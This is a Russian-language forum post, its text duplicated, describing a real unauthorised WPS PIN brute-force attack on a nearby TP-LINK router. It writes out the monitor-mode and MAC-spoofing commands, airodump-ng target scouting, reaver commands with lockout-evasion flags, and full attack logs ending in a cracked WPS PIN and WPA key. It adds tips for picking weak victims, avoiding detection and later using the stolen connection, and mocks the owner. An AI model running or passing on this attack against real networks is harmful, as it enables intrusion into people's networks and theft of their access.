- Сообщения
- 5.020
- Реакции
- 11.401
Die Deutsche Cyber Wochenschau - взлом WPA/WPA2 PSK через уязвимость WPS - разбор реальной атаки.
Взлом роутера как известно возможно реализовать тремя основными стратегиями:
1. Через брутфорс или атаку по словарю 4-way-handshake
2. Через брутфорс пина Wifi Protected Setup (WPS)
3. Черезлоха эксплуатацию фишинговых комплексов типа WiFiPhisher или Airgeddon.
Первый способ основан на захвате четырех пакетов аутентификации, которые содержат зашифрованный WPA PSK (Pre Shared Key) ключ или тупо пароль. Второй способ эксплуатирует уязвимость WPS PIN в которой всего 11.000 комбинаций. В мануале к риверу заявлено время от 4 до 10 часов на разъёб роутера. В данном примере на все про все ушло 2 часа 6 минут (в итоге получен И WPS PIN И WPA PSK - двойной профит!). Ну а третий способ - "на лоха". Мне как ТРУЪ кибербойцу обманывать лолю или бабушку стыдно, и трофеями такие пароли я не считаю. Но в патовой ситуации цель оправдывает средства.
Сегодня гайд будет не совсем обычный - разбор реальной успешной атаки на составляющие, которые собственно и сделали ее успешной.
Инструментарий:
Тест был "обкаткой в бою" новой версии флешки ParrotSec # WiFighter 1.0 alfa. Для атаки использовались:
1. Боевой адаптер TP-LINK WN722N v1.0 c антенной 5dBi от ALFA AWUS036NH (которая сгорела как последняя паскуда не отработав и месяца).
2. macchanger 1.7.0-5.3+b1
3. aircrack-ng 1:1.2-0~rc4-2
4. reaver 1.6.3-0kali1
5. треканы от joe ford - самый важный элемент ^^
Barely Alive – Shudder feat Coppa Joe Ford Remix
Culprate & Joe Ford – Gaucho
Joe Ford – Abandoned Art feat Miss Trouble
Joe Ford, Document One – Care for Me
Рис.1 - Среднийтанк адаптер TP-LINK WN722N v1.0 c длинноствольной пушкой антенной.
WiFighter mode engage!
Перевод адаптера в боевой режим и маскировка:
Поиск целей.
Методомнаучного тыка проб и ошибок я вяснил следующие нюансы на счет атак через WPS:
1. В графе PWR точки -70 и выше - без шансов. -65 -60 -55 можно пробовать. -50 -45 самое оно.
2. Самые уязвимые - "свистки" - 3G/4G модемы с режимом AP.
3. Если есть TP-LINK, начинать с них однозначно. Чуть менее дырявые HUAWEI и D-Link.
4. В графе WPS в первую очередь нужно искать режим 1.0 ETHER,LAB,PBC
Чтобы иметь всю эту инфу airodump-ng нужно запускать не в "нуб" режиме, а заюзав следующие опции:
-a - не включать в список "блудных клиентов" - устройства которые не аутентифицированы на точках доступа (прожожие с мобилами в которых активен wifi адаптер)
--wps - версия wps
--manufacturer - производитель роутера
--uptime - сколько роутер висит онлайн (в каждом маячке, которые спямят роутеры транслируя essid есть данные про это)
С помощью wps мы можем отсеять залоченые роутеры (их можно работать но потея). По uptime можно оценить насколько часто мы сможет потом юзать чужой роутер. Если там аптайм 22 дня значит он 3 недели не вырубался ни днем ни ночью, нормальный ход короче. Производитель нам тоже нужен - выкупить дырявые свистки. Вот такая канитель.
Че? "-а" нафига? Да чтобы список в экран влезал епта. Хотя со злыми адаптерами которые вываливают за 3 секунды на экран от 100 точек и выше это не так критично. Один пёс придется делать 5 шрифт чтобы все влезло. Запускаем сканер:
Рис.2Вчерашний терпила. Протестированный роутер.
Список целей рядом со своей временной берлогой я уже знаю на зубок - тусуюсь тут третий месяц. Да и точку я эту уже пробовал работать - но скорострельность тогда была примерно 60-70 секунд на одну попытку. Однако я смог разогнать "Вайфайтера" до 7 секунд/пин, благодаря тому, что:
1. Точка выдавала пограничные -65 dBm. С таким сигналом каждая единичка может решить исход сражения, бывает - 66 dBm еще вывозит адаптер, а -69 dBm уже нет. В диапазоне от- 40 dBm до -50 dBm это уже не так критично.
2. В графе дата за 19 минут аптайма 20 пакетов с данными - владелец не пользуется интернетом в данный момент. Значит меньше палева.
3. WPS 1.0 активен, не залочен, с режимами ETHER,LAB,PBC
4. Роутер TP-LINK -дырявый как жопа пидараса очень уязвим к любым атакам.
Feuer frei!
Тут как то задавали мне вопрос, мол слышь ты, хакер кухонный, мамкин программист - а как ты убираешь ошибки типа:
WPS transaction failed (code: 0x03), re-trying last pin
Да очень просто. Чаще всего для этого достаточно отключить negative-acknowledgement a.k.a. NAK или NACK ( опцией --no-nacks или -N). Команда для ривера тогда будет вот такая:
┌─[root@parrot]─[/home/intruder]
└──╼ $ reaver -i wlan0mon -b XX:XX:XX:XX:XX:XX -vv -N
где:
-i - интерфейс (имя адаптера)
-b - мак атакуемого роутера (из списка целей)
-vv - команда риверу выводить в терминал максимально подродбный лог, а не только важные моменты или ошибки.
-N - отключение сообщениий, которыми обмениваются роутер и адаптер в случае если прошлая команда не выполнена или выполнена с ошибками.
После чего мы увидим отчет о запуске системы вооружения и первых пристрелочных выстрелах:
первые результаты:
Семь секунд на один пин - такое я даже на картинках в интернетике не видел!
(тут короче пару страниц унылой байды вырезано)
А вот это ключевой момент рывок с 4.95% до 90.95% - ривер пробил основную броню роутера и подобрал первые 4 цифры - 0534ХХХХ. На подбор первых 4 знаков ривер затратил чуть больше часа. Ну а потом добил остальные:
Вечером когда терпила уснул проверил пароль. Капитальный красавчик.
Возможные траблы:
Вообще по мануалу ривер запускается командой:
┌─[root@parrot]─[~]
└──╼ $reaver -i wlan0mon -b XX:XX:XX:XX:XX:XX -vv
Этого вполне достаточно, но:
Могут посыпаться ошибки WPS transaction failed (code: 0x03), re-trying last pin, при этом пушка стреляет в молоко и топчется на пине 12345670 не пробуя следующий. Прогресс постоянно 0.00% и никакого прироста (так я провел первый месяц в попугае хахахах). Вот какие варики мне помогли распетлять че к чему:
Военные хитрости которые, которые я распетлял методом научного тыка проб и ошибок.
1. если запускать airodump-ng шмонять по всем 14 каналам то он покажет гораздо меньше точек, чем если прошмонять отдельно каждый канал, так как не успевает хватать все маячки от всех точек. Например у меня аэродамп настроеный на первом канале обнаруживает что 13 вероятных пративников транслируют вражеские радиопередачи на CH 1, а прыгая по всем каналам он видbт всего 9 врагов. Учитывая что каналов 14, потери даже 2 точек на каждом канале в итоге приведут к потере 28 целей.
2. Если точка со станусом wps Locked или же активирует его понимая что с с нее стягивают трусики следует заюзать опцию -L, чтобы адаптер начал игнорировать пакеты "я не такая". Так же юзабельна опция -d 5 (10 20 30 60) - заставляющяя ривера не так активно пробовать пинкоды.
3. Если адаптер теряет точку и начинает прыгать по каналам в процессе шебуршения пин кода - помогает принудительное указание канала -с 6 например тащемта.
4. Чтобы определить где находится вражеский передатчик есть два годных пеленгатора для дроида - WIFIAnalyzer и JAWS. первый показывает примерное расстояние второй имеет функцию "булавочек" чтобы отмечать захваченные в плен точки ^^ Оба есть на православном f-droid.
"Челюсти" и пленные вражеские радиопередающие устройства.
5. После того как вы первый раз подключитесь к роутеру с левым маком не забывайте снимать галочку с "автоконнекта" - иначе при следующем запуске машины адаптер автоматом залогинится к лоху с родным маком.
6. Если ривер не может авторизоваться и чекнуть пинкод - есть вариант запускать его без аутентификации с оцией -А, но тогда в другом терминале нужно делать аутентификацию другим способом, например с помощью aireplay-ng (fake auth или -1).
7. апгрейд антенны реально имеет смысл, но об этом в отдельной статье...
Взлом роутера как известно возможно реализовать тремя основными стратегиями:
1. Через брутфорс или атаку по словарю 4-way-handshake
2. Через брутфорс пина Wifi Protected Setup (WPS)
3. Через
Первый способ основан на захвате четырех пакетов аутентификации, которые содержат зашифрованный WPA PSK (Pre Shared Key) ключ или тупо пароль. Второй способ эксплуатирует уязвимость WPS PIN в которой всего 11.000 комбинаций. В мануале к риверу заявлено время от 4 до 10 часов на разъёб роутера. В данном примере на все про все ушло 2 часа 6 минут (в итоге получен И WPS PIN И WPA PSK - двойной профит!). Ну а третий способ - "на лоха". Мне как ТРУЪ кибербойцу обманывать лолю или бабушку стыдно, и трофеями такие пароли я не считаю. Но в патовой ситуации цель оправдывает средства.
Сегодня гайд будет не совсем обычный - разбор реальной успешной атаки на составляющие, которые собственно и сделали ее успешной.
Инструментарий:
Тест был "обкаткой в бою" новой версии флешки ParrotSec # WiFighter 1.0 alfa. Для атаки использовались:
1. Боевой адаптер TP-LINK WN722N v1.0 c антенной 5dBi от ALFA AWUS036NH (которая сгорела как последняя паскуда не отработав и месяца).
2. macchanger 1.7.0-5.3+b1
3. aircrack-ng 1:1.2-0~rc4-2
4. reaver 1.6.3-0kali1
5. треканы от joe ford - самый важный элемент ^^
Barely Alive – Shudder feat Coppa Joe Ford Remix
Culprate & Joe Ford – Gaucho
Joe Ford – Abandoned Art feat Miss Trouble
Joe Ford, Document One – Care for Me
Рис.1 - Средний
WiFighter mode engage!
Перевод адаптера в боевой режим и маскировка:
Код:
┌─[intruder@parrot]─[~]
└──╼ $ sudo -s
Код:
┌─[root@parrot]─[/home/intruder]
└──╼ # airmon-ng start wlan0 && ifconfig wlan0mon down && macchanger -r wlan0mon && ifconfig wlan0mon up
Поиск целей.
Методом
1. В графе PWR точки -70 и выше - без шансов. -65 -60 -55 можно пробовать. -50 -45 самое оно.
2. Самые уязвимые - "свистки" - 3G/4G модемы с режимом AP.
3. Если есть TP-LINK, начинать с них однозначно. Чуть менее дырявые HUAWEI и D-Link.
4. В графе WPS в первую очередь нужно искать режим 1.0 ETHER,LAB,PBC
Чтобы иметь всю эту инфу airodump-ng нужно запускать не в "нуб" режиме, а заюзав следующие опции:
Код:
┌─[root@parrot]─[/home/intruder]
└──╼ $ airodump-ng -a --wps --uptime --manufacturer wlan0mon
-a - не включать в список "блудных клиентов" - устройства которые не аутентифицированы на точках доступа (прожожие с мобилами в которых активен wifi адаптер)
--wps - версия wps
--manufacturer - производитель роутера
--uptime - сколько роутер висит онлайн (в каждом маячке, которые спямят роутеры транслируя essid есть данные про это)
С помощью wps мы можем отсеять залоченые роутеры (их можно работать но потея). По uptime можно оценить насколько часто мы сможет потом юзать чужой роутер. Если там аптайм 22 дня значит он 3 недели не вырубался ни днем ни ночью, нормальный ход короче. Производитель нам тоже нужен - выкупить дырявые свистки. Вот такая канитель.
Че? "-а" нафига? Да чтобы список в экран влезал епта. Хотя со злыми адаптерами которые вываливают за 3 секунды на экран от 100 точек и выше это не так критично. Один пёс придется делать 5 шрифт чтобы все влезло. Запускаем сканер:
Рис.2
Список целей рядом со своей временной берлогой я уже знаю на зубок - тусуюсь тут третий месяц. Да и точку я эту уже пробовал работать - но скорострельность тогда была примерно 60-70 секунд на одну попытку. Однако я смог разогнать "Вайфайтера" до 7 секунд/пин, благодаря тому, что:
1. Точка выдавала пограничные -65 dBm. С таким сигналом каждая единичка может решить исход сражения, бывает - 66 dBm еще вывозит адаптер, а -69 dBm уже нет. В диапазоне от- 40 dBm до -50 dBm это уже не так критично.
2. В графе дата за 19 минут аптайма 20 пакетов с данными - владелец не пользуется интернетом в данный момент. Значит меньше палева.
3. WPS 1.0 активен, не залочен, с режимами ETHER,LAB,PBC
4. Роутер TP-LINK -
Feuer frei!
Тут как то задавали мне вопрос, мол слышь ты, хакер кухонный, мамкин программист - а как ты убираешь ошибки типа:
WPS transaction failed (code: 0x03), re-trying last pin
Да очень просто. Чаще всего для этого достаточно отключить negative-acknowledgement a.k.a. NAK или NACK ( опцией --no-nacks или -N). Команда для ривера тогда будет вот такая:
┌─[root@parrot]─[/home/intruder]
└──╼ $ reaver -i wlan0mon -b XX:XX:XX:XX:XX:XX -vv -N
где:
-i - интерфейс (имя адаптера)
-b - мак атакуемого роутера (из списка целей)
-vv - команда риверу выводить в терминал максимально подродбный лог, а не только важные моменты или ошибки.
-N - отключение сообщениий, которыми обмениваются роутер и адаптер в случае если прошлая команда не выполнена или выполнена с ошибками.
После чего мы увидим отчет о запуске системы вооружения и первых пристрелочных выстрелах:
Код:
┌─[✗]─[root@parrot]─[/home/intruder]
└──╼ #reaver -i wlan0mon -b XX:XX:XX:XX:XX:XX -vv -N
Reaver v1.6.3 WiFi Protected Setup Attack Tool
Copyright (c) 2011, Tactical Network Solutions, Craig Heffner <[email protected]>
[+] Waiting for beacon from XX:XX:XX:XX:XX:XX
[+] Switching wlan0mon to channel 11
[+] Received beacon from XX:XX:XX:XX:XX:XX
[+] Vendor: AtherosC (новая фишка в ривере 1.6.3 - производитель чипсета!)
[+] Trying pin "12345670"
[+] Associated with XX:XX:XX:XX:XX:XX (ESSID: TP-LINK хххххх)
[+] Sending EAPOL START request
[+] Received identity request
[+] Sending identity response
[+] Received identity request
[+] Sending identity response
[+] Received M1 message
[+] Sending M2 message
[+] Received M3 message
[+] Sending M4 message
[+] Received WSC NACK
[+] Sending WSC NACK
[+] Trying pin "00005678"
[+] Associated with XX:XX:XX:XX:XX:XX (ESSID: TP-LINK xxxxxx)
первые результаты:
Код:
[+] Trying pin "22225672"
[+] Associated with XX:XX:XX:XX:XX:XX (ESSID: TP-LINK xxxxxx)
[+] Sending EAPOL START request
[+] Received identity request
[+] Sending identity response
[+] Received identity request
[+] Sending identity response
[+] Received M1 message
[+] Sending M2 message
[+] Received M1 message
[+] Received M3 message
[+] Sending M4 message
[+] Received M3 message
[+] Received WSC NACK
[+] Sending WSC NACK
[+] 0.05% complete @ 2017-11-25 12:50:59 (7 seconds/pin)
Семь секунд на один пин - такое я даже на картинках в интернетике не видел!
Код:
[+] 4.95% complete @ 2017-11-25 13:54:08 (7 seconds/pin)
[+] Trying pin "05345670"
[+] Associated with XX:XX:XX:XX:XX:XX (ESSID: TP-LINK xxxxxx)
[+] Sending EAPOL START request
[+] Received identity request
[+] Sending identity response
(тут короче пару страниц унылой байды вырезано)
Код:
[+] Trying pin "05344444"
[+] Associated with XX:XX:XX:XX:XX:XX (ESSID: TP-LINK xxxxxx)
[+] Sending EAPOL START request
[+] Received identity request
[+] Sending identity response
[+] Received identity request
[+] Sending identity response
[+] Received M1 message
[+] Sending M2 message
[+] Received M3 message
[+] Sending M4 message
[+] Received M5 message
[+] Sending M6 message
[+] Received M5 message
[+] Received WSC NACK
[+] Sending WSC NACK
[+] 90.95% complete @ XX:XX:XX:XX:XX:XX (7 seconds/pin)
А вот это ключевой момент рывок с 4.95% до 90.95% - ривер пробил основную броню роутера и подобрал первые 4 цифры - 0534ХХХХ. На подбор первых 4 знаков ривер затратил чуть больше часа. Ну а потом добил остальные:
Код:
[+] Trying pin "053452xx"
[+] Associated with XX:XX:XX:XX:XX:XX (ESSID: TP-LINK xxxxxx)
[+] Sending EAPOL START request
[+] Received identity request
[+] Sending identity response
[+] Received identity request
[+] Sending identity response
[+] Received M1 message
[+] Sending M2 message
[+] Received M1 message
[+] Received M3 message
[+] Sending M4 message
[+] Received M3 message
[+] Received M5 message
[+] Sending M6 message
[+] Received M5 message
[+] Received M7 message
[+] Sending WSC NACK
[+] Sending WSC NACK
[+] 100.00% complete @ 2017-11-25 14:56:31 (7 seconds/pin)
[+] Pin cracked in 7570 seconds
[+] WPS PIN: '053452xx'
[+] WPA PSK: 'XxxxxXxxxx'
[+] AP SSID: 'TP-LINK xxxxxx'
Вечером когда терпила уснул проверил пароль. Капитальный красавчик.
Возможные траблы:
Вообще по мануалу ривер запускается командой:
┌─[root@parrot]─[~]
└──╼ $reaver -i wlan0mon -b XX:XX:XX:XX:XX:XX -vv
Этого вполне достаточно, но:
Могут посыпаться ошибки WPS transaction failed (code: 0x03), re-trying last pin, при этом пушка стреляет в молоко и топчется на пине 12345670 не пробуя следующий. Прогресс постоянно 0.00% и никакого прироста (так я провел первый месяц в попугае хахахах). Вот какие варики мне помогли распетлять че к чему:
Военные хитрости которые, которые я распетлял методом
1. если запускать airodump-ng шмонять по всем 14 каналам то он покажет гораздо меньше точек, чем если прошмонять отдельно каждый канал, так как не успевает хватать все маячки от всех точек. Например у меня аэродамп настроеный на первом канале обнаруживает что 13 вероятных пративников транслируют вражеские радиопередачи на CH 1, а прыгая по всем каналам он видbт всего 9 врагов. Учитывая что каналов 14, потери даже 2 точек на каждом канале в итоге приведут к потере 28 целей.
2. Если точка со станусом wps Locked или же активирует его понимая что с с нее стягивают трусики следует заюзать опцию -L, чтобы адаптер начал игнорировать пакеты "я не такая". Так же юзабельна опция -d 5 (10 20 30 60) - заставляющяя ривера не так активно пробовать пинкоды.
3. Если адаптер теряет точку и начинает прыгать по каналам в процессе шебуршения пин кода - помогает принудительное указание канала -с 6 например тащемта.
4. Чтобы определить где находится вражеский передатчик есть два годных пеленгатора для дроида - WIFIAnalyzer и JAWS. первый показывает примерное расстояние второй имеет функцию "булавочек" чтобы отмечать захваченные в плен точки ^^ Оба есть на православном f-droid.
"Челюсти" и пленные вражеские радиопередающие устройства.
5. После того как вы первый раз подключитесь к роутеру с левым маком не забывайте снимать галочку с "автоконнекта" - иначе при следующем запуске машины адаптер автоматом залогинится к лоху с родным маком.
6. Если ривер не может авторизоваться и чекнуть пинкод - есть вариант запускать его без аутентификации с оцией -А, но тогда в другом терминале нужно делать аутентификацию другим способом, например с помощью aireplay-ng (fake auth или -1).
7. апгрейд антенны реально имеет смысл, но об этом в отдельной статье...
Последнее редактирование модератором: